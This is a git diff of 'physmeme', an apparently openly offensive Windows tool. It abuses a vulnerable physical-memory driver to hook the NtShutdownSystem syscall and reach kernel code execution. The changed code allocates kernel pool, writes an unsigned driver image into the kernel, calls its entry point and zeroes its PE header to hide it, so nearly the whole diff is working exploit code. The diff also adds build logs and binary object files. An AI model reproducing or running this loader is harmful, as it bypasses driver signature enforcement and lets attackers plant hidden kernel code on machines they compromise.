+180,8 @@ namespace physmeme if (import_descriptors == nullptr) { - printf("no imports!\n"); + if constexpr (physmeme_debugging) + printf("[+] no imports!\n"); return; } @@ -190,7 +193,8 @@ namespace physmeme const auto module_base = get_module(module_name); assert(module_base != 0); - printf("processing module: %s [0x%I64X]\n", module_name, module_base); + if constexpr (physmeme_debugging) + printf("[+] processing module: %s [0x%I64X]\n", module_name, module_base); if (import_descriptors->OriginalFirstThunk) image_thunk_data = get_rva(import_descriptors->OriginalFirstThunk); @@ -208,7 +212,9 @@ namespace physmeme const auto image_import_by_name = get_rva(*(DWORD*)image_thunk_data); const auto name_of_import = static_cast(image_import_by_name->Name); function_address = get_function(module_name, name_of_import); - printf("function: %s [0x%I64X]\n", name_of_import, function_address); + + if constexpr (physmeme_debugging) + printf("[+] function: %s [0x%I64X]\n", name_of_import, function_address); assert(function_address != 0); image_func_data->u1.Function = function_address; } diff --git a/physmeme/drv_image/drv_image.h b/physmeme/drv_image/drv_image.h index 45199fe..7e98369 100644 --- a/physmeme/drv_image/drv_image.h +++ b/physmeme/drv_image/drv_image.h @@ -40,6 +40,7 @@ For more information, please refer to #include #include #include +#include "../util/nt.hpp" #pragma comment(lib, "Dbghelp.lib") namespace physmeme @@ -58,7 +59,7 @@ namespace physmeme uintptr_t entry_point() const; void map(); static bool process_relocation(size_t image_base_delta, uint16_t data, uint8_t* relocation_base); - void relocate(uintptr_t base) const; + void relocate(void* base) const; template __forceinline T* get_rva(const unsigned long offset) @@ -66,7 +67,10 @@ namespace physmeme return (T*)::ImageRvaToVa(m_nt_headers, m_image.data(), offset, nullptr); } - void fix_imports(const std::function get_module, const std::function get_function); + void fix_imports( + const std::function get_module, + const std::function get_function + ); void* data(); size_t header_size(); }; diff --git a/physmeme/kernel_ctx/kernel_ctx.cpp b/physmeme/kernel_ctx/kernel_ctx.cpp index 1ff6a03..eba7a64 100644 --- a/physmeme/kernel_ctx/kernel_ctx.cpp +++ b/physmeme/kernel_ctx/kernel_ctx.cpp @@ -2,13 +2,11 @@ namespace physmeme { - /* - Author: xerox - Date: 4/19/2020 - */ kernel_ctx::kernel_ctx() - : psyscall_func(NULL), ntoskrnl_buffer(NULL) { + if (psyscall_func.load() || nt_page_offset || ntoskrnl_buffer) + return; + nt_rva = reinterpret_cast( util::get_module_export( "ntoskrnl.exe", @@ -16,16 +14,27 @@ namespace physmeme true )); - nt_page_offset = nt_rva % 0x1000; - ntoskrnl_buffer = reinterpret_cast(LoadLibraryA("C:\\Windows\\System32\\ntoskrnl.exe")); + nt_page_offset = nt_rva % page_size; + ntoskrnl_buffer = reinterpret_cast( + LoadLibraryA(ntoskrnl_path) + ); -#if PHYSMEME_DEBUGGING - std::cout << "[+] page offset of " << syscall_hook.first << " is: " << std::hex << nt_page_offset << std::endl; -#endif + if constexpr (physmeme_debugging) + { + printf("[+] page offset of %s is 0x%llx\n", syscall_hook.first.data(), nt_page_offset); + printf("[+] ntoskrnl_buffer: 0x%p\n", ntoskrnl_buffer); + } + + if (!ntoskrnl_buffer || !nt_rva) + { + if constexpr (physmeme_debugging) + printf("[!] ntoskrnl_buffer was 0x%p, nt_rva was 0x%p\n", ntoskrnl_buffer, nt_rva); + return; + } std::vector search_threads; //--- for each physical memory range, make a thread to search it - for (auto ranges : pmem_ranges) + for (auto ranges : util::pmem_ranges) search_threads.emplace_back(std::thread( &kernel_ctx::map_syscall, this, @@ -36,17 +45,10 @@ namespace physmeme for (std::thread& search_thread : search_threads) search_thread.join(); -#if PHYSMEME_DEBUGGING - std::cout << "[+] psyscall_func: " << std::hex << std::showbase << psyscall_func.load() << std::endl; -#endif + if constexpr (physmeme_debugging) + printf("[+] psyscall_func: 0x%p\n", psyscall_func.load()); } - /* - author: xerox - date: 4/18/2020 - - finds physical page of a syscall and map it into this process. - */ void kernel_ctx::map_syscall(std::uintptr_t begin, std::uintptr_t end) const { //if the physical memory range is less then or equal to 2mb @@ -57,7 +59,7 @@ namespace physmeme { // scan every page of the physical memory range for (auto page = page_va; page < page_va + end; page += 0x1000) - if (!psyscall_func) // keep scanning until its found + if (!psyscall_func.load()) // keep scanning until its found if (!memcmp(reinterpret_cast(page), ntoskrnl_buffer + nt_rva, 32)) { psyscall_func.store((void*)page); @@ -106,12 +108,6 @@ namespace physmeme } } - /* - Author: xerox - Date: 4/19/2020 - - allocate a pool in the kernel (no tag) - */ void* kernel_ctx::allocate_pool(std::size_t size, POOL_TYPE pool_type) { static const auto ex_alloc_pool = @@ -119,17 +115,14 @@ namespace physmeme "ntoskrnl.exe", "ExAllocatePool" ); - if (ex_alloc_pool) - return syscall(ex_alloc_pool, pool_type, size); - return NULL; - } - /* - Author: xerox - Date: 4/19/2020 + return syscall( + ex_alloc_pool, + pool_type, + size + ); + } - allocate a pool in the kernel with a tag - */ void* kernel_ctx::allocate_pool(std::size_t size, ULONG pool_tag, POOL_TYPE pool_type) { static const auto ex_alloc_pool_with_tag = @@ -137,76 +130,58 @@ namespace physmeme "ntoskrnl.exe", "ExAllocatePoolWithTag" ); - if (ex_alloc_pool_with_tag) - return syscall(ex_alloc_pool_with_tag, pool_type, size, pool_tag); - } - /* - Author: xerox - Date: 4/19/2020 + return syscall( + ex_alloc_pool_with_tag, + pool_type, + size, + pool_tag + ); + } - read kernel memory - */ - void kernel_ctx::read_kernel(std::uintptr_t addr, void* buffer, std::size_t size) + void kernel_ctx::read_kernel(void* addr, void* buffer, std::size_t size) { - size_t amount_copied; static const auto mm_copy_memory = util::get_module_export( "ntoskrnl.exe", - "MmCopyMemory" + "RtlCopyMemory" ); - if (mm_copy_memory) - syscall( - mm_copy_memory, - reinterpret_cast(buffer), - MM_COPY_ADDRESS{ (void*)addr }, - size, - MM_COPY_MEMORY_VIRTUAL, - &amount_copied - ); - } - /* - Author: xerox - Date: 4/19/2020 + syscall( + mm_copy_memory, + buffer, + addr, + size + ); + } - write kernel memory, this doesnt write to read only memory! - */ - void kernel_ctx::write_kernel(std::uintptr_t addr, void* buffer, std::size_t size) + void kernel_ctx::write_kernel(void* addr, void* buffer, std::size_t size) { - size_t amount_copied; static const auto mm_copy_memory = util::get_module_export( "ntoskrnl.exe", - "MmCopyMemory" + "RtlCopyMemory" ); - if (mm_copy_memory) - syscall( - mm_copy_memory, - reinterpret_cast(addr), - MM_COPY_ADDRESS{ buffer }, - size, - MM_COPY_MEMORY_VIRTUAL, - &amount_copied - ); - } - /* - Author: xerox - Date: 4/19/2020 + syscall( + mm_copy_memory, + addr, + buffer, + size + ); + } - zero driver header - */ - void kernel_ctx::zero_kernel_memory(std::uintptr_t addr, std::size_t size) + void kernel_ctx::zero_kernel_memory(void* addr, std::size_t size) { static const auto rtl_zero_memory = util::get_module_export( "ntoskrnl.exe", "RtlZeroMemory" ); + syscall( rtl_zero_memory, - reinterpret_cast(addr), + addr, size ); } diff --git a/physmeme/kernel_ctx/kernel_ctx.h b/physmeme/kernel_ctx/kernel_ctx.h index 836b851..1829070 100644 --- a/physmeme/kernel_ctx/kernel_ctx.h +++ b/physmeme/kernel_ctx/kernel_ctx.h @@ -1,5 +1,6 @@ #pragma once #include +#include #include #include #include @@ -9,34 +10,69 @@ #include "../physmeme/physmeme.hpp" #include "../util/hook.hpp" -#define PHYSMEME_DEBUGGING 1 - -#if PHYSMEME_DEBUGGING -#include -#endif - -/* - Author: xerox - Date: 4/19/2020 - - this namespace contains everything needed to interface with the kernel -*/ namespace physmeme { + // + // offset of function into a physical page + // used for comparing bytes when searching + // + inline std::uint16_t nt_page_offset{}; + + // + // rva of nt function we are going to hook + // + inline std::uint32_t nt_rva{}; + + // + // base address of ntoskrnl (inside of this process) + // + inline const std::uint8_t* ntoskrnl_buffer{}; + + // + // mapping of a syscalls physical memory (for installing hooks) + // + inline std::atomic psyscall_func{}; + + // + // you can edit this how you choose, im hooking NtShutdownSystem. + // + inline const std::pair syscall_hook = { "NtShutdownSystem", "ntdll.dll" }; + class kernel_ctx { public: + // + // default constructor + // kernel_ctx(); + + // + // allocate kernel pool of desired size and type + // void* allocate_pool(std::size_t size, POOL_TYPE pool_type = NonPagedPool); + + // + // allocate kernel pool of size, pool tag, and type + // void* allocate_pool(std::size_t size, ULONG pool_tag = 'MEME', POOL_TYPE pool_type = NonPagedPool); - void read_kernel(std::uintptr_t addr, void* buffer, std::size_t size); - void write_kernel(std::uintptr_t addr, void* buffer, std::size_t size); + // + // read kernel memory with RtlCopyMemory + // + void read_kernel(void* addr, void* buffer, std::size_t size); + + // + // write kernel memory with RtlCopyMemory + // + void write_kernel(void* addr, void* buffer, std::size_t size); - void zero_kernel_memory(std::uintptr_t addr, std::size_t size); + // + // zero kernel memory using RtlZeroMemory + // + void zero_kernel_memory(void* addr, std::size_t size); template - T read_kernel(std::uintptr_t addr) + T read_kernel(void* addr) { if (!addr) return {}; @@ -46,7 +82,7 @@ namespace physmeme } template - void write_kernel(std::uintptr_t addr, const T& data) + void write_kernel(void* addr, const T& data) { if (!addr) return {}; @@ -57,14 +93,19 @@ namespace physmeme // use this to call any function in the kernel // template - PVOID syscall(void* addr, Ts ... args) + std::invoke_result_t syscall(void* addr, Ts ... args) { - auto proc = GetProcAddress(GetModuleHandleA("ntdll.dll"), syscall_hook.first.data()); + static const auto proc = + GetProcAddress( + GetModuleHandleA("ntdll.dll"), + syscall_hook.first.data() + ); + if (!proc || !psyscall_func || !addr) - return reinterpret_cast(STATUS_INVALID_PARAMETER); + return {}; hook::make_hook(psyscall_func, addr); - PVOID result = reinterpret_cast(reinterpret_cast(proc)(args ...)); + auto result = reinterpret_cast(proc)(args ...); hook::remove(psyscall_func); return result; } @@ -75,31 +116,5 @@ namespace physmeme // find and map the physical page of a syscall into this process // void map_syscall(std::uintptr_t begin, std::uintptr_t end) const; - - // - // mapping of a syscalls physical memory (for installing hooks) - // - mutable std::atomic psyscall_func; - - // - // you can edit this how you choose, im hooking NtTraceControl. - // - const std::pair syscall_hook = { "NtShutdownSystem", "ntdll.dll" }; - - // - // offset of function into a physical page - // used for comparing bytes when searching - // - std::uint16_t nt_page_offset; - - // - // rva of nt function we are going to hook - // - std::uint32_t nt_rva; - - // - // base address of ntoskrnl (inside of this process) - // - const std::uint8_t* ntoskrnl_buffer; }; } \ No newline at end of file diff --git a/physmeme/main.cpp b/physmeme/main.cpp index 6c4227f..5c75676 100644 --- a/physmeme/main.cpp +++ b/physmeme/main.cpp @@ -1,28 +1,43 @@ -#include -#include -#include - #include "kernel_ctx/kernel_ctx.h" #include "drv_image/drv_image.h" -/* - Author: xerox - Date: 4/19/2020 -*/ int __cdecl main(int argc, char** argv) { if (argc < 2) { - std::cout << "[-] invalid use, please provide a path to a driver" << std::endl; + perror("[-] invalid use, please provide a path to a driver\n"); return -1; } std::vector drv_buffer; util::open_binary_file(argv[1], drv_buffer); + if (!drv_buffer.size()) + { + perror("[-] invalid drv_buffer size\n"); + return -1; + } + physmeme::drv_image image(drv_buffer); physmeme::kernel_ctx ctx; + // + // we dont need the driver loaded anymore + // + physmeme::unload_drv(); + + // + // allocate memory in the kernel for the driver + // + const auto pool_base = ctx.allocate_pool(image.size(), NonPagedPool); + printf("[+] allocated 0x%llx at 0x%p\n", image.size(), pool_base); + + if (!pool_base) + { + printf("[!] allocation failed!\n"); + return -1; + } + // // lambdas used for fixing driver image // @@ -36,50 +51,42 @@ int __cdecl main(int argc, char** argv) return reinterpret_cast(util::get_module_export(base, name)); }; - // - // allocate memory in the kernel for the driver - // - std::uintptr_t pool_base = reinterpret_cast(ctx.allocate_pool(image.size(), NonPagedPool)); - std::cout << "[+] allocated " << std::hex << std::showbase << image.size() << " at: " << std::hex << std::showbase << pool_base << std::endl; - // // fix the driver image // image.fix_imports(_get_module, _get_export_name); - std::cout << "[+] fixed imports" << std::endl; + printf("[+] fixed imports\n"); + image.map(); - std::cout << "[+] sections mapped in memory" << std::endl; + printf("[+] sections mapped in memory\n"); + image.relocate(pool_base); - std::cout << "[+] relocations fixed" << std::endl; + printf("[+] relocations fixed\n"); // // copy driver into the kernel - // this might blue screen if the image takes too long to copy // ctx.write_kernel(pool_base, image.data(), image.size()); // - // driver entry params + // driver entry // - auto entry_point = pool_base + image.entry_point(); - auto size = image.size(); + auto entry_point = reinterpret_cast(pool_base) + image.entry_point(); // // call driver entry // - auto result = ctx.syscall(reinterpret_cast(entry_point), pool_base, image.size()); - std::cout << "[+] driver entry returned: " << std::hex << result << std::endl; + auto result = ctx.syscall( + reinterpret_cast(entry_point), + reinterpret_cast(pool_base), + image.size() + ); + printf("[+] driver entry returned: 0x%p\n", result); // - // zero header of driver + // zero driver headers // ctx.zero_kernel_memory(pool_base, image.header_size()); - std::cout << "[+] zero'ed driver's pe header" << std::endl; - - // - // close and unload vuln drivers - // - std::cout << "[=] press enter to close" << std::endl; - physmeme::unload_drv(); + printf("[=] press enter to close\n"); std::cin.get(); } \ No newline at end of file diff --git a/physmeme/physmeme.vcxproj b/physmeme/physmeme.vcxproj index 430b100..eef2fc1 100644 --- a/physmeme/physmeme.vcxproj +++ b/physmeme/physmeme.vcxproj @@ -90,7 +90,7 @@ - Level3 + TurnOffAllWarnings true _CRT_SECURE_NO_WARNINGS true @@ -105,7 +105,7 @@ - Level3 + TurnOffAllWarnings true _CRT_SECURE_NO_WARNINGS true @@ -120,7 +120,7 @@ - Level3 + TurnOffAllWarnings true true true @@ -140,7 +140,7 @@ - Level3 + TurnOffAllWarnings true true true diff --git a/physmeme/physmeme/physmeme.hpp b/physmeme/physmeme/physmeme.hpp index 31f284a..ad55c9e 100644 --- a/physmeme/physmeme/physmeme.hpp +++ b/physmeme/physmeme/physmeme.hpp @@ -4,53 +4,20 @@ #include #include +#include "../util/util.hpp" + namespace physmeme { - //--- ranges of physical memory - static std::map pmem_ranges; - - //--- validates the address - static bool is_valid(std::uintptr_t addr) - { - for (auto range : pmem_ranges) - if (addr >= range.first && addr <= range.first + range.second) - return true; - return false; - } - - // Author: Remy Lebeau - // taken from here: https://stackoverflow.com/questions/48485364/read-reg-resource-list-memory-values-incorrect-value - static const auto init_ranges = ([&]() -> bool - { - HKEY h_key; - DWORD type, size; - LPBYTE data; - RegOpenKeyEx(HKEY_LOCAL_MACHINE, "HARDWARE\\RESOURCEMAP\\System Resources\\Physical Memory", 0, KEY_READ, &h_key); - RegQueryValueEx(h_key, ".Translated", NULL, &type, NULL, &size); //get size - data = new BYTE[size]; - RegQueryValueEx(h_key, ".Translated", NULL, &type, data, &size); - DWORD count = *(DWORD*)(data + 16); - auto pmi = data + 24; - for (int dwIndex = 0; dwIndex < count; dwIndex++) - { - pmem_ranges.emplace(*(uint64_t*)(pmi + 0), *(uint64_t*)(pmi + 8)); - pmi += 20; - } - delete[] data; - RegCloseKey(h_key); - return true; - })(); - - /* - please code this function depending on your method of physical read/write. - */ + // + // please code this function depending on your method of physical read/write. + // static std::uintptr_t map_phys( std::uintptr_t addr, std::size_t size ) { //--- ensure the validity of the address we are going to try and map - if (!is_valid(addr)) + if (!util::is_valid(addr)) return NULL; static const auto map_phys_ptr = @@ -59,9 +26,9 @@ namespace physmeme return map_phys_ptr ? map_phys_ptr(addr, size) : false; } - /* - please code this function depending on your method of physical read/write. - */ + // + // please code this function depending on your method of physical read/write. + // static bool unmap_phys( std::uintptr_t addr, std::size_t size @@ -73,9 +40,9 @@ namespace physmeme return unmap_phys_ptr ? unmap_phys_ptr(addr, size) : false; } - /* - please code this function depending on your method of physical read/write. - */ + // + // please code this function depending on your method of physical read/write. + // static HANDLE load_drv() { static const auto load_driver_ptr = @@ -89,9 +56,9 @@ namespace physmeme return CreateFileA("\\\\.\\PhyMem", 0xC0000000, 3u, 0i64, 3u, 0x80u, 0i64); } - /* - please code this function depending on your method of physical read/write. - */ + // + // please code this function depending on your method of physical read/write. + // static bool unload_drv() { static const auto unload_driver_ptr = @@ -100,5 +67,5 @@ namespace physmeme return unload_driver_ptr ? unload_driver_ptr() : false; } - inline HANDLE drv_handle = load_drv(); + static HANDLE drv_handle = load_drv(); } \ No newline at end of file diff --git a/physmeme/util/nt.hpp b/physmeme/util/nt.hpp index 4e8012a..59ed1d0 100644 --- a/physmeme/util/nt.hpp +++ b/physmeme/util/nt.hpp @@ -3,16 +3,18 @@ #include #pragma comment(lib, "ntdll.lib") -#define MM_COPY_MEMORY_PHYSICAL 0x1 -#define MM_COPY_MEMORY_VIRTUAL 0x2 - -constexpr auto PAGE_SIZE = 0x1000; -constexpr auto STATUS_INFO_LENGTH_MISMATCH = 0xC0000004; +constexpr bool physmeme_debugging = true; +constexpr auto ntoskrnl_path = "C:\\Windows\\System32\\ntoskrnl.exe"; +constexpr auto page_size = 0x1000; constexpr auto SystemModuleInformation = 11; constexpr auto SystemHandleInformation = 16; constexpr auto SystemExtendedHandleInformation = 64; +#define MM_COPY_MEMORY_PHYSICAL 0x1 +#define MM_COPY_MEMORY_VIRTUAL 0x2 + + typedef struct _SYSTEM_HANDLE { PVOID Object; diff --git a/physmeme/util/util.hpp b/physmeme/util/util.hpp index 5af7b34..cd49be3 100644 --- a/physmeme/util/util.hpp +++ b/physmeme/util/util.hpp @@ -1,17 +1,54 @@ +#pragma once #include #include #include #include #include #include +#include #include +#include +#include + #include "nt.hpp" -/* - This code stinks, its the worst code in this project and needs to be recoded in a later time. -*/ namespace util { + //--- ranges of physical memory + static std::map pmem_ranges{}; + + //--- validates the address + static bool is_valid(std::uintptr_t addr) + { + for (auto range : pmem_ranges) + if (addr >= range.first && addr <= range.first + range.second) + return true; + return false; + } + + // Author: Remy Lebeau + // taken from here: https://stackoverflow.com/questions/48485364/read-reg-resource-list-memory-values-incorrect-value + static const auto init_ranges = ([&]() -> bool + { + HKEY h_key; + DWORD type, size; + LPBYTE data; + RegOpenKeyEx(HKEY_LOCAL_MACHINE, "HARDWARE\\RESOURCEMAP\\System Resources\\Physical Memory", 0, KEY_READ, &h_key); + RegQueryValueEx(h_key, ".Translated", NULL, &type, NULL, &size); //get size + data = new BYTE[size]; + RegQueryValueEx(h_key, ".Translated", NULL, &type, data, &size); + DWORD count = *(DWORD*)(data + 16); + auto pmi = data + 24; + for (int dwIndex = 0; dwIndex < count; dwIndex++) + { + pmem_ranges.emplace(*(uint64_t*)(pmi + 0), *(uint64_t*)(pmi + 8)); + pmi += 20; + } + delete[] data; + RegCloseKey(h_key); + return true; + })(); + // this was taken from wlan's drvmapper: // https://github.com/not-wlan/drvmap/blob/98d93cc7b5ec17875f815a9cb94e6d137b4047ee/drvmap/util.cpp#L7 static void open_binary_file(const std::string& file, std::vector& data) diff --git a/physmeme/x64/Release/drv_image.obj b/physmeme/x64/Release/drv_image.obj new file mode 100644 index 0000000..4094668 Binary files /dev/null and b/physmeme/x64/Release/drv_image.obj differ diff --git a/physmeme/x64/Release/kernel_ctx.obj b/physmeme/x64/Release/kernel_ctx.obj new file mode 100644 index 0000000..1dfaeaf Binary files /dev/null and b/physmeme/x64/Release/kernel_ctx.obj differ diff --git a/physmeme/x64/Release/main.obj b/physmeme/x64/Release/main.obj new file mode 100644 index 0000000..0b96ab1 Binary files /dev/null and b/physmeme/x64/Release/main.obj differ diff --git a/physmeme/x64/Release/physmeme.Build.CppClean.log b/physmeme/x64/Release/physmeme.Build.CppClean.log new file mode 100644 index 0000000..f52f7e5 --- /dev/null +++ b/physmeme/x64/Release/physmeme.Build.CppClean.log @@ -0,0 +1,15 @@ +c:\users\interesting\desktop\physmeme-master\physmeme\x64\release\vc142.pdb +c:\users\interesting\desktop\physmeme-master\physmeme\x64\release\main.obj +c:\users\interesting\desktop\physmeme-master\physmeme\x64\release\kernel_ctx.obj +c:\users\interesting\desktop\physmeme-master\physmeme\x64\release\drv_image.obj +c:\users\interesting\desktop\physmeme-master\x64\release\physmeme.exe +c:\users\interesting\desktop\physmeme-master\x64\release\physmeme.pdb +c:\users\interesting\desktop\physmeme-master\x64\release\physmeme.ipdb +c:\users\interesting\desktop\physmeme-master\x64\release\physmeme.iobj +c:\users\interesting\desktop\physmeme-master\physmeme\x64\release\physmeme.tlog\cl.command.1.tlog +c:\users\interesting\desktop\physmeme-master\physmeme\x64\release\physmeme.tlog\cl.read.1.tlog +c:\users\interesting\desktop\physmeme-master\physmeme\x64\release\physmeme.tlog\cl.write.1.tlog +c:\users\interesting\desktop\physmeme-master\physmeme\x64\release\physmeme.tlog\link.command.1.tlog +c:\users\interesting\desktop\physmeme-master\physmeme\x64\release\physmeme.tlog\link.read.1.tlog +c:\users\interesting\desktop\physmeme-master\physmeme\x64\release\physmeme.tlog\link.write.1.tlog +c:\users\interesting\desktop\physmeme-master\physmeme\x64\release\physmeme.tlog\physmeme.write.1u.tlog diff --git a/physmeme/x64/Release/physmeme.log b/physmeme/x64/Release/physmeme.log new file mode 100644 index 0000000..74cde47 --- /dev/null +++ b/physmeme/x64/Release/physmeme.log @@ -0,0 +1,8 @@ + drv_image.cpp + kernel_ctx.cpp + main.cpp + Generating code + Compiler switch has changed, fall back to full compilation. + All 684 functions were compiled because no usable IPDB/IOBJ from previous compilation was found. + Finished generating code + physmeme.vcxproj -> C:\Users\interesting\Desktop\physmeme-master\x64\Release\physmeme.exe diff --git a/physmeme/x64/Release/physmeme.tlog/CL.command.1.tlog b/physmeme/x64/Release/physmeme.tlog/CL.command.1.tlog new file mode 100644 index 0000000..3db8126 Binary files /dev/null and b/physmeme/x64/Release/physmeme.tlog/CL.command.1.tlog differ diff --git a/physmeme/x64/Release/physmeme.tlog/CL.read.1.tlog b/physmeme/x64/Release/physmeme.tlog/CL.read.1.tlog new file mode 100644 index 0000000..f9eb99d Binary files /dev/null and b/physmeme/x64/Release/physmeme.tlog/CL.read.1.tlog differ diff --git a/physmeme/x64/Release/physmeme.tlog/CL.write.1.tlog b/physmeme/x64/Release/physmeme.tlog/CL.write.1.tlog new file mode 100644 index 0000000..2abb590 Binary files /dev/null and b/physmeme/x64/Release/physmeme.tlog/CL.write.1.tlog differ diff --git a/physmeme/x64/Release/physmeme.tlog/link.command.1.tlog b/physmeme/x64/Release/physmeme.tlog/link.command.1.tlog new file mode 100644 index 0000000..41dbf69 Binary files /dev/null and b/physmeme/x64/Release/physmeme.tlog/link.command.1.tlog differ diff --git a/physmeme/x64/Release/physmeme.tlog/link.read.1.tlog b/physmeme/x64/Release/physmeme.tlog/link.read.1.tlog new file mode 100644 index 0000000..a1b4408 Binary files /dev/null and b/physmeme/x64/Release/physmeme.tlog/link.read.1.tlog differ diff --git a/physmeme/x64/Release/physmeme.tlog/link.write.1.tlog b/physmeme/x64/Release/physmeme.tlog/link.write.1.tlog new file mode 100644 index 0000000..4116916 Binary files /dev/null and b/physmeme/x64/Release/physmeme.tlog/link.write.1.tlog differ diff --git a/physmeme/x64/Release/physmeme.tlog/physmeme.lastbuildstate b/physmeme/x64/Release/physmeme.tlog/physmeme.lastbuildstate new file mode 100644 index 0000000..28bde36 --- /dev/null +++ b/physmeme/x64/Release/physmeme.tlog/physmeme.lastbuildstate @@ -0,0 +1,2 @@ +PlatformToolSet=v142:VCToolArchitecture=Native32Bit:VCToolsVersion=14.25.28610:TargetPlatformVersion=10.0.18362.0: +Release|x64|C:\Users\interesting\Desktop\physmeme-master\| diff --git a/physmeme/x64/Release/physmeme.tlog/physmeme.write.1u.tlog b/physmeme/x64/Release/physmeme.tlog/physmeme.write.1u.tlog new file mode 100644 index 0000000..a6164e4 Binary files /dev/null and b/physmeme/x64/Release/physmeme.tlog/physmeme.write.1u.tlog differ diff --git a/physmeme/x64/Release/physmeme.vcxproj.FileListAbsolute.txt b/physmeme/x64/Release/physmeme.vcxproj.FileListAbsolute.txt new file mode 100644 index 0000000..e69de29 diff --git a/physmeme/x64/Release/vc142.pdb b/physmeme/x64/Release/vc142.pdb new file mode 100644 index 0000000..2272493 Binary files /dev/null and b/physmeme/x64/Release/vc142.pdb differ